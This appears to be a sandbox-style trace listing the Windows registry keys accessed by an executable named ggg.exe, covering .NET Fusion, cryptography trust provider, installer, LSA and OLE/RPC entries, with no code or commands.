HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\DiagnosticPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\331f56a7\10be48a8
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|ggg.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|ggg.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|ggg.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\541bd03f\42ec1b30
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\541bd03f\feaf8a
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Web__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4ad60644\6f323003
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\235dd0a9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\9e47f51
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\ggg.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
